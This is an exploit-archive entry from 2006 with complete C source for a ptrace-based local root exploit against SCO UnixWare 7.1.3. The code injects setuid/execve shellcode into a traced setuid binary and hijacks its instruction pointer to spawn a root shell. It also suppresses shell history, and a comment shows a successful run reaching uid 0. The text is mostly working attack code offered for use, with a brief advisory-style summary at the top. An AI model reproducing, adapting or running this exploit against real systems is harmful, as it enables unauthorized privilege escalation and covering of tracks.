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prdelka-vs-SCO-ptrace.c

prdelka-vs-SCO-ptrace.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

SCO Unixware 7.1.3 ptrace local root exploit. SCO Unixware 7.1.3 kernel allows unprivileged users to debug binaries. The condition can be exploited by an attacker when he has execute permissions to a file which has the suid bit set.

tags | exploit, kernel, local, root
systems | unixware
SHA-256 | 5a1bb516b7d517521524776f7946fdb5d76fc8e72a5fbece7674002e32ad2a4e

prdelka-vs-SCO-ptrace.c

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/* SCO Unixware 7.1.3 ptrace local root exploit
* ============================================
* SCO Unixware 7.1.3 kernel allows unprivledged users
* to debug binaries. The condition can be exploited
* by an attacker when he has execute permissions to
* a file which has the suid bit set.
*
* Example.
*
* $ uname -a
* UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
* $ /linux/bin/bash
* bash-2.05$ uname -a
* Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
* bash-2.05$ id
* uid=122(matt) gid=1(other) groups=1(other)
* bash-2.05$ ./fu /unixware/usr/lib/sendmail
* [ SCO Unixware 7.1.3 ptrace local root exploit
* [ Using 0xbfffed78
* sh-2.05# id
* uid=0(root) gid=1(other) groups=1(other)
* sh-2.05#
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>



char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
"\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
int esp, eip, i = 0;
struct user_regs_struct regs;
char *env[] = {"HISTFILE=/dev/null",NULL};
pid_t pid;
printf("[ SCO Unixware 7.1.3 local root exploit\n");
if(argc < 2)
{
printf("[ Usage: [binary]\n");
printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
exit(0);
}
switch (pid = fork())
{
case -1:
perror("fork");
break;
case 0:
ptrace(PTRACE_TRACEME, 0, 0, 0);
pid = getpid();
execle(argv[1],argv[1],NULL,env);
break;
default:
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
esp = eip = regs.esp - 512;
while (i < strlen(shellcode))
{
ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
i += 4;
esp += 4;
}
regs.eip = (long) eip;
printf("[ Using 0x%x\n",regs.eip);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL,NULL);
}
usleep(1);
wait(0);
return 0;
}
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